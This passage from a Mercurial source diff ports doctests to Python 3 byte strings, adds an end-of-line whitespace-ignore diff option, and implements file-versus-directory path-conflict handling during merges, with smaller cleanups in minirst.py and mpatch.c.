+    >>> util.pconvert(m2.rel(b'b.txt'))
     'sub/b.txt'
     >>> def bad(f, msg):
-    ...     print "%s: %s" % (f, msg)
+    ...     print(pycompat.sysstr(b"%s: %s" % (f, msg)))
     >>> m1.bad = bad
-    >>> m2.bad('x.txt', 'No such file')
+    >>> m2.bad(b'x.txt', b'No such file')
     sub/x.txt: No such file
-    >>> m2.abs('c.txt')
+    >>> m2.abs(b'c.txt')
     'sub/c.txt'
     """
 
@@ -691,30 +696,31 @@
     pattern."""
     if ':' in pattern:
         kind, pat = pattern.split(':', 1)
-        if kind in ('re', 'glob', 'path', 'relglob', 'relpath', 'relre',
-                    'listfile', 'listfile0', 'set', 'include', 'subinclude',
-                    'rootfilesin'):
+        if kind in allpatternkinds:
             return kind, pat
     return default, pattern
 
 def _globre(pat):
     r'''Convert an extended glob string to a regexp string.
 
-    >>> print _globre(r'?')
+    >>> from . import pycompat
+    >>> def bprint(s):
+    ...     print(pycompat.sysstr(s))
+    >>> bprint(_globre(br'?'))
     .
-    >>> print _globre(r'*')
+    >>> bprint(_globre(br'*'))
     [^/]*
-    >>> print _globre(r'**')
+    >>> bprint(_globre(br'**'))
     .*
-    >>> print _globre(r'**/a')
+    >>> bprint(_globre(br'**/a'))
     (?:.*/)?a
-    >>> print _globre(r'a/**/b')
+    >>> bprint(_globre(br'a/**/b'))
     a\/(?:.*/)?b
-    >>> print _globre(r'[a*?!^][^b][!c]')
+    >>> bprint(_globre(br'[a*?!^][^b][!c]'))
     [a*?!^][\^b][^c]
-    >>> print _globre(r'{a,b}')
+    >>> bprint(_globre(br'{a,b}'))
     (?:a|b)
-    >>> print _globre(r'.\*\?')
+    >>> bprint(_globre(br'.\*\?'))
     \.\*\?
     '''
     i, n = 0, len(pat)
@@ -907,17 +913,20 @@
     include directories that need to be implicitly considered as either, such as
     parent directories.
 
-    >>> _rootsanddirs(\
-        [('glob', 'g/h/*', ''), ('glob', 'g/h', ''), ('glob', 'g*', '')])
+    >>> _rootsanddirs(
+    ...     [(b'glob', b'g/h/*', b''), (b'glob', b'g/h', b''),
+    ...      (b'glob', b'g*', b'')])
     (['g/h', 'g/h', '.'], ['g', '.'])
-    >>> _rootsanddirs(\
-        [('rootfilesin', 'g/h', ''), ('rootfilesin', '', '')])
+    >>> _rootsanddirs(
+    ...     [(b'rootfilesin', b'g/h', b''), (b'rootfilesin', b'', b'')])
     ([], ['g/h', '.', 'g', '.'])
-    >>> _rootsanddirs(\
-        [('relpath', 'r', ''), ('path', 'p/p', ''), ('path', '', '')])
+    >>> _rootsanddirs(
+    ...     [(b'relpath', b'r', b''), (b'path', b'p/p', b''),
+    ...      (b'path', b'', b'')])
     (['r', 'p/p', '.'], ['p', '.'])
-    >>> _rootsanddirs(\
-        [('relglob', 'rg*', ''), ('re', 're/', ''), ('relre', 'rr', '')])
+    >>> _rootsanddirs(
+    ...     [(b'relglob', b'rg*', b''), (b're', b're/', b''),
+    ...      (b'relre', b'rr', b'')])
     (['.', '.', '.'], ['.'])
     '''
     r, d = _patternrootsanddirs(kindpats)
@@ -934,9 +943,9 @@
 def _explicitfiles(kindpats):
     '''Returns the potential explicit filenames from the patterns.
 
-    >>> _explicitfiles([('path', 'foo/bar', '')])
+    >>> _explicitfiles([(b'path', b'foo/bar', b'')])
     ['foo/bar']
-    >>> _explicitfiles([('rootfilesin', 'foo/bar', '')])
+    >>> _explicitfiles([(b'rootfilesin', b'foo/bar', b'')])
     []
     '''
     # Keep only the pattern kinds where one can specify filenames (vs only
diff --git a/mercurial/mdiff.py b/mercurial/mdiff.py
--- a/mercurial/mdiff.py
+++ b/mercurial/mdiff.py
@@ -63,6 +63,7 @@
         'index': 0,
         'ignorews': False,
         'ignorewsamount': False,
+        'ignorewseol': False,
         'ignoreblanklines': False,
         'upgrade': False,
         'showsimilarity': False,
@@ -97,6 +98,8 @@
         text = bdiff.fixws(text, 0)
     if blank and opts.ignoreblanklines:
         text = re.sub('\n+', '\n', text).strip('\n')
+    if opts.ignorewseol:
+        text = re.sub(r'[ \t\r\f]+\n', r'\n', text)
     return text
 
 def splitblock(base1, lines1, base2, lines2, opts):
@@ -199,7 +202,7 @@
     """
     if opts is None:
         opts = defaultopts
-    if opts.ignorews or opts.ignorewsamount:
+    if opts.ignorews or opts.ignorewsamount or opts.ignorewseol:
         text1 = wsclean(opts, text1, False)
         text2 = wsclean(opts, text2, False)
     diff = bdiff.blocks(text1, text2)
@@ -454,7 +457,7 @@
     # TODO: deltas
     ret = []
     ret.append('GIT binary patch\n')
-    ret.append('literal %s\n' % len(tn))
+    ret.append('literal %d\n' % len(tn))
     for l in chunk(zlib.compress(tn)):
         ret.append(fmtline(l))
     ret.append('\n')
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -25,6 +25,7 @@
 from . import (
     copies,
     error,
+    extensions,
     filemerge,
     match as matchmod,
     obsutil,
@@ -66,6 +67,7 @@
     C: a change/delete or delete/change conflict
     D: a file that the external merge driver will merge internally
        (experimental)
+    P: a path conflict (file vs directory)
     m: the external merge driver defined for this merge plus its run state
        (experimental)
     f: a (filename, dictionary) tuple of optional values for a given file
@@ -79,6 +81,15 @@
     m: driver-resolved files marked -- only needs to be run before commit
     s: success/skipped -- does not need to be run any more
 
+    Merge record states (stored in self._state, indexed by filename):
+    u: unresolved conflict
+    r: resolved conflict
+    pu: unresolved path conflict (file conflicts with directory)
+    pr: resolved path conflict
+    d: driver-resolved conflict
+
+    The resolve command transitions between 'u' and 'r' for conflicts and
+    'pu' and 'pr' for path conflicts.
     '''
     statepathv1 = 'merge/state'
     statepathv2 = 'merge/state2'
@@ -158,7 +169,7 @@
 
                 self._readmergedriver = bits[0]
                 self._mdstate = mdstate
-            elif rtype in 'FDC':
+            elif rtype in 'FDCP':
                 bits = record.split('\0')
                 self._state[bits[0]] = bits[1:]
             elif rtype == 'f':
@@ -351,15 +362,28 @@
         if self.mergedriver:
             records.append(('m', '\0'.join([
                 self.mergedriver, self._mdstate])))
-        for d, v in self._state.iteritems():
+        # Write out state items. In all cases, the value of the state map entry
+        # is written as the contents of the record. The record type depends on
+        # the type of state that is stored, and capital-letter records are used
+        # to prevent older versions of Mercurial that do not support the feature
+        # from loading them.
+        for filename, v in self._state.iteritems():
             if v[0] == 'd':
-                records.append(('D', '\0'.join([d] + v)))
-            # v[1] == local ('cd'), v[6] == other ('dc') -- not supported by
-            # older versions of Mercurial
+                # Driver-resolved merge. These are stored in 'D' records.
+                records.append(('D', '\0'.join([filename] + v)))
+            elif v[0] in ('pu', 'pr'):
+                # Path conflicts. These are stored in 'P' records.  The current
+                # resolution state ('pu' or 'pr') is stored within the record.
+                records.append(('P', '\0'.join([filename] + v)))
             elif v[1] == nullhex or v[6] == nullhex:
-                records.append(('C', '\0'.join([d] + v)))
+                # Change/Delete or Delete/Change conflicts. These are stored in
+                # 'C' records. v[1] is the local file, and is nullhex when the
+                # file is deleted locally ('dc'). v[6] is the remote file, and
+                # is nullhex when the file is deleted remotely ('cd').
+                records.append(('C', '\0'.join([filename] + v)))
             else:
-                records.append(('F', '\0'.join([d] + v)))
+                # Normal files.  These are stored in 'F' records.
+                records.append(('F', '\0'.join([filename] + v)))
         for filename, extras in sorted(self._stateextras.iteritems()):
             rawextras = '\0'.join('%s\0%s' % (k, v) for k, v in
                                   extras.iteritems())
@@ -419,7 +443,16 @@
                            fca.path(), hex(fca.filenode()),
                            fco.path(), hex(fco.filenode()),
                            fcl.flags()]
-        self._stateextras[fd] = { 'ancestorlinknode' : hex(fca.node()) }
+        self._stateextras[fd] = {'ancestorlinknode': hex(fca.node())}
+        self._dirty = True
+
+    def addpath(self, path, frename, forigin):
+        """add a new conflicting path to the merge state
+        path:    the path that conflicts
+        frename: the filename the conflicting file was renamed to
+        forigin: origin of the file ('l' or 'r' for local/remote)
+        """
+        self._state[path] = ['pu', frename, forigin]
         self._dirty = True
 
     def __contains__(self, dfile):
@@ -445,7 +478,7 @@
         """Obtain the paths of unresolved files."""
 
         for f, entry in self._state.iteritems():
-            if entry[0] == 'u':
+            if entry[0] in ('u', 'pu'):
                 yield f
 
     def driverresolved(self):
@@ -495,12 +528,14 @@
                 f.close()
             else:
                 wctx[dfile].remove(ignoremissing=True)
-            complete, r, deleted = filemerge.premerge(self._repo, self._local,
-                                                      lfile, fcd, fco, fca,
+            complete, r, deleted = filemerge.premerge(self._repo, wctx,
+                                                      self._local, lfile, fcd,
+                                                      fco, fca,
                                                       labels=self._labels)
         else:
-            complete, r, deleted = filemerge.filemerge(self._repo, self._local,
-                                                       lfile, fcd, fco, fca,
+            complete, r, deleted = filemerge.filemerge(self._repo, wctx,
+                                                       self._local, lfile, fcd,
+                                                       fco, fca,
                                                        labels=self._labels)
         if r is None:
             # no real conflict
@@ -601,7 +636,7 @@
         self._results[f] = 0, 'g'
 
 def _getcheckunknownconfig(repo, section, name):
-    config = repo.ui.config(section, name, default='abort')
+    config = repo.ui.config(section, name)
     valid = ['abort', 'ignore', 'warn']
     if config not in valid:
         validstr = ', '.join(["'" + v + "'" for v in valid])
@@ -618,13 +653,42 @@
         and repo.dirstate.normalize(f) not in repo.dirstate
         and mctx[f2].cmp(wctx[f]))
 
+def _checkunknowndirs(repo, f):
+    """
+    Look for any unknown files or directories that may have a path conflict
+    with a file.  If any path prefix of the file exists as a file or link,
+    then it conflicts.  If the file itself is a directory that contains any
+    file that is not tracked, then it conflicts.
+
+    Returns the shortest path at which a conflict occurs, or None if there is
+    no conflict.
+    """
+
+    # Check for path prefixes that exist as unknown files.
+    for p in reversed(list(util.finddirs(f))):
+        if (repo.wvfs.audit.check(p)
+                and repo.wvfs.isfileorlink(p)
+                and repo.dirstate.normalize(p) not in repo.dirstate):
+            return p
+
+    # Check if the file conflicts with a directory containing unknown files.
+    if repo.wvfs.audit.check(f) and repo.wvfs.isdir(f):
+        # Does the directory contain any files that are not in the dirstate?
+        for p, dirs, files in repo.wvfs.walk(f):
+            for fn in files:
+                relf = repo.dirstate.normalize(repo.wvfs.reljoin(p, fn))
+                if relf not in repo.dirstate:
+                    return f
+    return None
+
 def _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce):
     """
     Considers any actions that care about the presence of conflicting unknown
     files. For some actions, the result is to abort; for others, it is to
     choose a different action.
     """
-    conflicts = set()
+    fileconflicts = set()
+    pathconflicts = set()
     warnconflicts = set()
     abortconflicts = set()
     unknownconfig = _getcheckunknownconfig(repo, 'merge', 'checkunknown')
@@ -639,14 +703,19 @@
         for f, (m, args, msg) in actions.iteritems():
             if m in ('c', 'dc'):
                 if _checkunknownfile(repo, wctx, mctx, f):
-                    conflicts.add(f)
+                    fileconflicts.add(f)
+                elif f not in wctx:
+                    path = _checkunknowndirs(repo, f)
+                    if path is not None:
+                        pathconflicts.add(path)
             elif m == 'dg':
                 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
-                    conflicts.add(f)
+                    fileconflicts.add(f)
 
-        ignoredconflicts = set([c for c in conflicts
+        allconflicts = fileconflicts | pathconflicts
+        ignoredconflicts = set([c for c in allconflicts
                                 if repo.dirstate._ignore(c)])
-        unknownconflicts = conflicts - ignoredconflicts
+        unknownconflicts = allconflicts - ignoredconflicts
         collectconflicts(ignoredconflicts, ignoredconfig)
         collectconflicts(unknownconflicts, unknownconfig)
     else:
@@ -684,17 +753,28 @@
                     actions[f] = ('g', (fl2, True), "remote created")
 
     for f in sorted(abortconflicts):
-        repo.ui.warn(_("%s: untracked file differs\n") % f)
+        warn = repo.ui.warn
+        if f in pathconflicts:
+            if repo.wvfs.isfileorlink(f):
+                warn(_("%s: untracked file conflicts with directory\n") % f)
+            else:
+                warn(_("%s: untracked directory conflicts with file\n") % f)
+        else:
+            warn(_("%s: untracked file differs\n") % f)
     if abortconflicts:
         raise error.Abort(_("untracked files in working directory "
                             "differ from files in requested revision"))
 
     for f in sorted(warnconflicts):
-        repo.ui.warn(_("%s: replacing untracked file\n") % f)
+        if repo.wvfs.isfileorlink(f):
+            repo.ui.warn(_("%s: replacing untracked file\n") % f)
+        else:
+            repo.ui.warn(_("%s: replacing untracked files in directory\n") % f)
 
     for f, (m, args, msg) in actions.iteritems():
-        backup = f in conflicts
         if m == 'c':
+            backup = (f in fileconflicts or f in pathconflicts or
+                      any(p in pathconflicts for p in util.finddirs(f)))
             flags, = args
             actions[f] = ('g', (flags, backup), msg)
 
@@ -753,7 +833,7 @@
 
     # check case-folding collision in provisional merged manifest
     foldmap = {}
-    for f in sorted(pmmf):
+    for f in pmmf:
         fold = util.normcase(f)
         if fold in foldmap:
             raise error.Abort(_("case-folding collision between %s and %s")
@@ -783,6 +863,107 @@
     This is currently not implemented -- it's an extension point."""
     return True
 
+def _filesindirs(repo, manifest, dirs):
+    """
+    Generator that yields pairs of all the files in the manifest that are found
+    inside the directories listed in dirs, and which directory they are found
+    in.
+    """
+    for f in manifest:
+        for p in util.finddirs(f):
+            if p in dirs:
+                yield f, p
+                break
+
+def checkpathconflicts(repo, wctx, mctx, actions):
+    """
+    Check if any actions introduce path conflicts in the repository, updating
+    actions to record or handle the path conflict accordingly.
+    """
+    mf = wctx.manifest()
+
+    # The set of local files that conflict with a remote directory.
+    localconflicts = set()
+
+    # The set of directories that conflict with a remote file, and so may cause
+    # conflicts if they still contain any files after the merge.
+    remoteconflicts = set()
+
+    # The set of directories that appear as both a file and a directory in the
+    # remote manifest.  These indicate an invalid remote manifest, which
+    # can't be updated to cleanly.
+    invalidconflicts = set()
+
+    # The set of files deleted by all the actions.
+    deletedfiles = set()
+
+    for f, (m, args, msg) in actions.items():
+        if m in ('c', 'dc', 'm', 'cm'):
+            # This action may create a new local file.
+            if mf.hasdir(f):
+                # The file aliases a local directory.  This might be ok if all
+                # the files in the local directory are being deleted.  This
+                # will be checked once we know what all the deleted files are.
+                remoteconflicts.add(f)
+            for p in util.finddirs(f):
+                if p in mf:
+                    if p in mctx:
+                        # The file is in a directory which aliases both a local
+                        # and a remote file.  This is an internal inconsistency
+                        # within the remote manifest.
+                        invalidconflicts.add(p)
+                    else:
+                        # The file is in a directory which aliases a local file.
+                        # We will need to rename the local file.
+                        localconflicts.add(p)
+                if p in actions and actions[p][0] in ('c', 'dc', 'm', 'cm'):
+                    # The file is in a directory which aliases a remote file.
+                    # This is an internal inconsistency within the remote
+                    # manifest.
+                    invalidconflicts.add(p)
+
+        # Track the names of all deleted files.
+        if m == 'r':
+            deletedfiles.add(f)
+        if m == 'm':
+            f1, f2, fa, move, anc = args
+            if move:
+                deletedfiles.add(f1)
+        if m == 'dm':
+            f2, flags = args
+            deletedfiles.add(f2)
+
+    # Rename all local conflicting files that have not been deleted.
+    for p in localconflicts:
+        if p not in deletedfiles:
+            ctxname = str(wctx).rstrip('+')
+            pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
+            actions[pnew] = ('pr', (p,), "local path conflict")
+            actions[p] = ('p', (pnew, 'l'), "path conflict")
+
+    if remoteconflicts:
+        # Check if all files in the conflicting directories have been removed.
+        ctxname = str(mctx).rstrip('+')
+        for f, p in _filesindirs(repo, mf, remoteconflicts):
+            if f not in deletedfiles:
+                m, args, msg = actions[p]
+                pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
+                if m in ('dc', 'm'):
+                    # Action was merge, just update target.
+                    actions[pnew] = (m, args, msg)
+                else:
+                    # Action was create, change to renamed get action.
+                    fl = args[0]
+                    actions[pnew] = ('dg', (p, fl), "remote path conflict")
+                actions[p] = ('p', (pnew, 'r'), "path conflict")
+                remoteconflicts.remove(p)
+                break
+
+    if invalidconflicts:
+        for p in invalidconflicts:
+            repo.ui.warn(_("%s: is both a file and a directory\n") % p)
+        raise error.Abort(_("destination manifest contains path conflicts"))
+
 def manifestmerge(repo, wctx, p2, pa, branchmerge, force, matcher,
                   acceptremote, followcopies, forcefulldiff=False):
     """
@@ -862,7 +1043,7 @@
                 fla = ma.flags(f)
                 nol = 'l' not in fl1 + fl2 + fla
                 if n2 == a and fl2 == fla:
-                    actions[f] = ('k' , (), "remote unchanged")
+                    actions[f] = ('k', (), "remote unchanged")
                 elif n1 == a and fl1 == fla: # local unchanged - use remote
                     if n1 == n2: # optimization: keep local content
                         actions[f] = ('e', (fl2,), "update permissions")
@@ -958,6 +1139,9 @@
                     actions[f] = ('dc', (None, f, f, False, pa.node()),
                                   "prompt deleted/changed")
 
+    # If we are merging, look for path conflicts.
+    checkpathconflicts(repo, wctx, p2, actions)
+
     return actions, diverge, renamedelete
 
 def _resolvetrivial(repo, wctx, mctx, ancestor, actions):
@@ -988,7 +1172,8 @@
     else: # only when merge.preferancestor=* - the default
         repo.ui.note(
             _("note: merging %s and %s using bids from ancestors %s\n") %
-            (wctx, mctx, _(' and ').join(str(anc) for anc in ancestors)))
+            (wctx, mctx, _(' and ').join(pycompat.bytestr(anc)
+                                            for anc in ancestors)))
 
         # Call for bids
         fbids = {} # mapping filename to bids (action method to list af actions)
@@ -1027,7 +1212,7 @@
             # bids is a mapping from action method to list af actions
             # Consensus?
             if len(bids) == 1: # all bids are the same kind of method
-                m, l = bids.items()[0]
+                m, l = list(bids.items())[0]
                 if all(a == l[0] for a in l[1:]): # len(bids) is > 1
                     repo.ui.note(_(" %s: consensus for %s\n") % (f, m))
                     actions[f] = l[0]
@@ -1053,7 +1238,7 @@
                 for _f, args, msg in l:
                     repo.ui.note('  %s -> %s\n' % (msg, m))
             # Pick random action. TODO: Instead, prompt user when resolving
-            m, l = bids.items()[0]
+            m, l = list(bids.items())[0]
             repo.ui.warn(_(' %s: ambiguous merge - picked %s action\n') %
                          (f, m))
             actions[f] = l[0]
@@ -1082,18 +1267,21 @@
 
     return prunedactions, diverge, renamedelete
 
+def _getcwd():
+    try:
+        return pycompat.getcwd()
+    except OSError as err:
+        if err.errno == errno.ENOENT:
+            return None
+        raise
+
 def batchremove(repo, wctx, actions):
     """apply removes to the working directory
 
     yields tuples for progress updates
     """
     verbose = repo.ui.verbose
-    try:
-        cwd = pycompat.getcwd()
-    except OSError as err:
-        if err.errno != errno.ENOENT:
-            raise
-        cwd = None
+    cwd = _getcwd()
     i = 0
     for f, args, msg in actions:
         repo.ui.debug(" %s: %s -> r\n" % (f, msg))
@@ -1111,18 +1299,16 @@
         i += 1
     if i > 0:
         yield i, f
-    if cwd:
-        # cwd was present before we started to remove files
-        # let's check if it is present after we removed them
-        try:
-            pycompat.getcwd()
-        except OSError as err:
-            if err.errno != errno.ENOENT:
-                raise
-            # Print a warning if cwd was deleted
-            repo.ui.warn(_("current directory was removed\n"
-                           "(consider changing to repo root: %s)\n") %
-                         repo.root)
+
+    if cwd and not _getcwd():
+        # cwd was removed in the course of removing files; print a helpful
+        # warning.
+        repo.ui.warn(_("current directory was removed\n"
+                       "(consider changing to repo root: %s)\n") % repo.root)
+
+    # It's necessary to flush here in case we're inside a worker fork and will
+    # quit after this function.
+    wctx.flushall()
 
 def batchget(repo, mctx, wctx, actions):
     """apply gets to the working directory
@@ -1142,17 +1328,19 @@
                 repo.ui.note(_("getting %s\n") % f)
 
             if backup:
+                # If a file or directory exists with the same name, back that
+                # up.  Otherwise, look to see if there is a file that conflicts
+                # with a directory this file is in, and if so, back that up.
                 absf = repo.wjoin(f)
+                if not repo.wvfs.lexists(f):
+                    for p in util.finddirs(f):
+                        if repo.wvfs.isfileorlink(p):
+                            absf = repo.wjoin(p)
+                            break
                 orig = scmutil.origpath(ui, repo, absf)
-                try:
-                    if repo.wvfs.isfileorlink(f):
-                        util.rename(absf, orig)
-                except OSError as e:
-                    if e.errno != errno.ENOENT:
-                        raise
-
-            if repo.wvfs.isdir(f) and not repo.wvfs.islink(f):
-                repo.wvfs.removedirs(f)
+                if repo.wvfs.lexists(absf):
+                    util.rename(absf, orig)
+            wctx[f].clearunknown()
             wctx[f].write(fctx(f).data(), flags, backgroundclose=True)
             if i == 100:
                 yield i, f
@@ -1161,6 +1349,10 @@
     if i > 0:
         yield i, f
 
+    # It's necessary to flush here in case we're inside a worker fork and will
+    # quit after this function.
+    wctx.flushall()
+
 def applyupdates(repo, actions, wctx, mctx, overwrite, labels=None):
     """apply the merge action list to the working directory
 
@@ -1216,21 +1408,56 @@
             wctx[f].remove()
 
     numupdates = sum(len(l) for m, l in actions.items() if m != 'k')
+    z = 0
 
     if [a for a in actions['r'] if a[0] == '.hgsubstate']:
         subrepo.submerge(repo, wctx, mctx, wctx, overwrite, labels)
 
-    # remove in parallel (must come first)
-    z = 0
-    prog = worker.worker(repo.ui, 0.001, batchremove, (repo, wctx),
+    # record path conflicts
+    for f, args, msg in actions['p']:
+        f1, fo = args
+        s = repo.ui.status
+        s(_("%s: path conflict - a file or link has the same name as a "
+            "directory\n") % f)
+        if fo == 'l':
+            s(_("the local file has been renamed to %s\n") % f1)
+        else:
+            s(_("the remote file has been renamed to %s\n") % f1)
+        s(_("resolve manually then use 'hg resolve --mark %s'\n") % f)
+        ms.addpath(f, f1, fo)
+        z += 1
+        progress(_updating, z, item=f, total=numupdates, unit=_files)
+
+    # When merging in-memory, we can't support worker processes, so set the
+    # per-item cost at 0 in that case.
+    cost = 0 if wctx.isinmemory() else 0.001
+
+    # remove in parallel (must come before resolving path conflicts and getting)
+    prog = worker.worker(repo.ui, cost, batchremove, (repo, wctx),
                          actions['r'])
     for i, item in prog:
         z += i
         progress(_updating, z, item=item, total=numupdates, unit=_files)
     removed = len(actions['r'])
 
+    # resolve path conflicts (must come before getting)
+    for f, args, msg in actions['pr']:
+        repo.ui.debug(" %s: %s -> pr\n" % (f, msg))
+        f0, = args
+        if wctx[f0].lexists():
+            repo.ui.note(_("moving %s to %s\n") % (f0, f))
+            wctx[f].audit()
+            wctx[f].write(wctx.filectx(f0).data(), wctx.filectx(f0).flags())
+            wctx[f0].remove()
+        z += 1
+        progress(_updating, z, item=f, total=numupdates, unit=_files)
+
+    # We should flush before forking into worker processes, since those workers
+    # flush when they complete, and we don't want to duplicate work.
+    wctx.flushall()
+
     # get in parallel
-    prog = worker.worker(repo.ui, 0.001, batchget, (repo, mctx, wctx),
+    prog = worker.worker(repo.ui, cost, batchget, (repo, mctx, wctx),
                          actions['g'])
     for i, item in prog:
         z += i
@@ -1315,30 +1542,32 @@
                 newactions.append((f, args, msg))
         mergeactions = newactions
 
-    # premerge
-    tocomplete = []
-    for f, args, msg in mergeactions:
-        repo.ui.debug(" %s: %s -> m (premerge)\n" % (f, msg))
-        z += 1
-        progress(_updating, z, item=f, total=numupdates, unit=_files)
-        if f == '.hgsubstate': # subrepo states need updating
-            subrepo.submerge(repo, wctx, mctx, wctx.ancestor(mctx),
-                             overwrite, labels)
-            continue
-        wctx[f].audit()
-        complete, r = ms.preresolve(f, wctx)
-        if not complete:
-            numupdates += 1
-            tocomplete.append((f, args, msg))
+    try:
+        # premerge
+        tocomplete = []
+        for f, args, msg in mergeactions:
+            repo.ui.debug(" %s: %s -> m (premerge)\n" % (f, msg))
+            z += 1
+            progress(_updating, z, item=f, total=numupdates, unit=_files)
+            if f == '.hgsubstate': # subrepo states need updating
+                subrepo.submerge(repo, wctx, mctx, wctx.ancestor(mctx),
+                                 overwrite, labels)
+                continue
+            wctx[f].audit()
+            complete, r = ms.preresolve(f, wctx)
+            if not complete:
+                numupdates += 1
+                tocomplete.append((f, args, msg))
 
-    # merge
-    for f, args, msg in tocomplete:
-        repo.ui.debug(" %s: %s -> m (merge)\n" % (f, msg))
-        z += 1
-        progress(_updating, z, item=f, total=numupdates, unit=_files)
-        ms.resolve(f, wctx)
+        # merge
+        for f, args, msg in tocomplete:
+            repo.ui.debug(" %s: %s -> m (merge)\n" % (f, msg))
+            z += 1
+            progress(_updating, z, item=f, total=numupdates, unit=_files)
+            ms.resolve(f, wctx)
 
-    ms.commit()
+    finally:
+        ms.commit()
 
     unresolved = ms.unresolvedcount()
 
@@ -1397,6 +1626,17 @@
     for f, args, msg in actions.get('f', []):
         repo.dirstate.drop(f)
 
+    # resolve path conflicts
+    for f, args, msg in actions.get('pr', []):
+        f0, = args
+        origf0 = repo.dirstate.copied(f0) or f0
+        repo.dirstate.add(f)
+        repo.dirstate.copy(origf0, f)
+        if f0 == origf0:
+            repo.dirstate.remove(f0)
+        else:
+            repo.dirstate.drop(f0)
+
     # re-add
     for f, args, msg in actions.get('a', []):
         repo.dirstate.add(f)
@@ -1470,7 +1710,7 @@
 
 def update(repo, node, branchmerge, force, ancestor=None,
            mergeancestor=False, labels=None, matcher=None, mergeforce=False,
-           updatecheck=None):
+           updatecheck=None, wc=None):
     """
     Perform a merge between the working directory and the given node
 
@@ -1518,6 +1758,9 @@
     2 = abort: uncommitted changes (commit or update --clean to discard changes)
     3 = abort: uncommitted changes (checked in commands.py)
 
+    The merge is performed inside ``wc``, a workingctx-like objects. It defaults
+    to repo[None] if None is passed.
+
     Return the same tuple as applyupdates().
     """
     # Avoid cycle.
@@ -1541,7 +1784,8 @@
     else:
         partial = True
     with repo.wlock():
-        wc = repo[None]
+        if wc is None:
+            wc = repo[None]
         pl = wc.parents()
         p1 = pl[0]
         pas = [None]
@@ -1552,7 +1796,7 @@
 
         p2 = repo[node]
         if pas[0] is None:
-            if repo.ui.configlist('merge', 'preferancestor', ['*']) == ['*']:
+            if repo.ui.configlist('merge', 'preferancestor') == ['*']:
                 cahs = repo.changelog.commonancestorsheads(p1.node(), p2.node())
                 pas = [repo[anc] for anc in (sorted(cahs) or [nullid])]
             else:
@@ -1628,7 +1872,7 @@
 
         if updatecheck == 'noconflict':
             for f, (m, args, msg) in actionbyfile.iteritems():
-                if m not in ('g', 'k', 'e', 'r'):
+                if m not in ('g', 'k', 'e', 'r', 'pr'):
                     msg = _("conflicting changes")
                     hint = _("commit or update --clean to discard changes")
                     raise error.Abort(msg, hint=hint)
@@ -1663,7 +1907,8 @@
                     del actionbyfile[f]
 
         # Convert to dictionary-of-lists format
-        actions = dict((m, []) for m in 'a am f g cd dc r dm dg m e k'.split())
+        actions = dict((m, [])
+                       for m in 'a am f g cd dc r dm dg m e k p pr'.split())
         for f, (m, args, msg) in actionbyfile.iteritems():
             if m not in actions:
                 actions[m] = []
@@ -1699,7 +1944,40 @@
             # note that we're in the middle of an update
             repo.vfs.write('updatestate', p2.hex())
 
+        # Advertise fsmonitor when its presence could be useful.
+        #
+        # We only advertise when performing an update from an empty working
+        # directory. This typically only occurs during initial clone.
+        #
+        # We give users a mechanism to disable the warning in case it is
+        # annoying.
+        #
+        # We only allow on Linux and MacOS because that's where fsmonitor is
+        # considered stable.
+        fsmonitorwarning = repo.ui.configbool('fsmonitor', 'warn_when_unused')
+        fsmonitorthreshold = repo.ui.configint('fsmonitor',
+                                               'warn_update_file_count')
+        try:
+            extensions.find('fsmonitor')
+            fsmonitorenabled = repo.ui.config('fsmonitor', 'mode') != 'off'
+            # We intentionally don't look at whether fsmonitor has disabled
+            # itself because a) fsmonitor may have already printed a warning
+            # b) we only care about the config state here.
+        except KeyError:
+            fsmonitorenabled = False
+
+        if (fsmonitorwarning
+                and not fsmonitorenabled
+                and p1.node() == nullid
+                and len(actions['g']) >= fsmonitorthreshold
+                and pycompat.sysplatform.startswith(('linux', 'darwin'))):
+            repo.ui.warn(
+                _('(warning: large working directory being used without '
+                  'fsmonitor enabled; enable fsmonitor to improve performance; '
+                  'see "hg help -e fsmonitor")\n'))
+
         stats = applyupdates(repo, actions, wc, p2, overwrite, labels=labels)
+        wc.flushall()
 
         if not partial:
             with repo.dirstate.parentchange():
@@ -1756,5 +2034,5 @@
         repo.setparents(repo['.'].node(), pother)
         repo.dirstate.write(repo.currenttransaction())
         # fix up dirstate for copies and renames
-        copies.duplicatecopies(repo, ctx.rev(), pctx.rev())
+        copies.duplicatecopies(repo, repo[None], ctx.rev(), pctx.rev())
     return stats
diff --git a/mercurial/minirst.py b/mercurial/minirst.py
--- a/mercurial/minirst.py
+++ b/mercurial/minirst.py
@@ -20,13 +20,13 @@
 
 from __future__ import absolute_import
 
-import cgi
 import re
 
 from .i18n import _
 from . import (
     encoding,
     pycompat,
+    url,
     util,
 )
 
@@ -46,13 +46,13 @@
     '''
     Apply a list of (find, replace) pairs to a text.
 
-    >>> replace("foo bar", [('f', 'F'), ('b', 'B')])
+    >>> replace(b"foo bar", [(b'f', b'F'), (b'b', b'B')])
     'Foo Bar'
-    >>> encoding.encoding = 'latin1'
-    >>> replace('\\x81\\\\', [('\\\\', '/')])
+    >>> encoding.encoding = b'latin1'
+    >>> replace(b'\\x81\\\\', [(b'\\\\', b'/')])
     '\\x81/'
-    >>> encoding.encoding = 'shiftjis'
-    >>> replace('\\x81\\\\', [('\\\\', '/')])
+    >>> encoding.encoding = b'shiftjis'
+    >>> replace(b'\\x81\\\\', [(b'\\\\', b'/')])
     '\\x81\\\\'
     '''
 
@@ -552,7 +552,7 @@
     listnest = []
 
     def escape(s):
-        return cgi.escape(s, True)
+        return url.escape(s, True)
 
     def openlist(start, level):
         if not listnest or listnest[-1][0] != start:
diff --git a/mercurial/mpatch.c b/mercurial/mpatch.c
--- a/mercurial/mpatch.c
+++ b/mercurial/mpatch.c
@@ -36,7 +36,8 @@
 
 	a = (struct mpatch_flist *)malloc(sizeof(struct mpatch_flist));
 	if (a) {
-		a->base = (struct mpatch_frag *)malloc(sizeof(struct mpatch_frag) * size);
+		a->base = (struct mpatch_frag *)malloc(
+		    sizeof(struct mpatch_frag) * size);
 		if (a->base) {
 			a->head = a->tail = a->base;
 			return a;
@@ -63,7 +64,7 @@
    for changes in offset. the last hunk may be split if necessary.
 */
 static int gather(struct mpatch_flist *dest, struct mpatch_flist *src, int cut,
-	int offset)
+                  int offset)
 {
 	struct mpatch_frag *d = dest->tail, *s = src->head;
 	int postend, c, l;
@@ -77,8 +78,7 @@
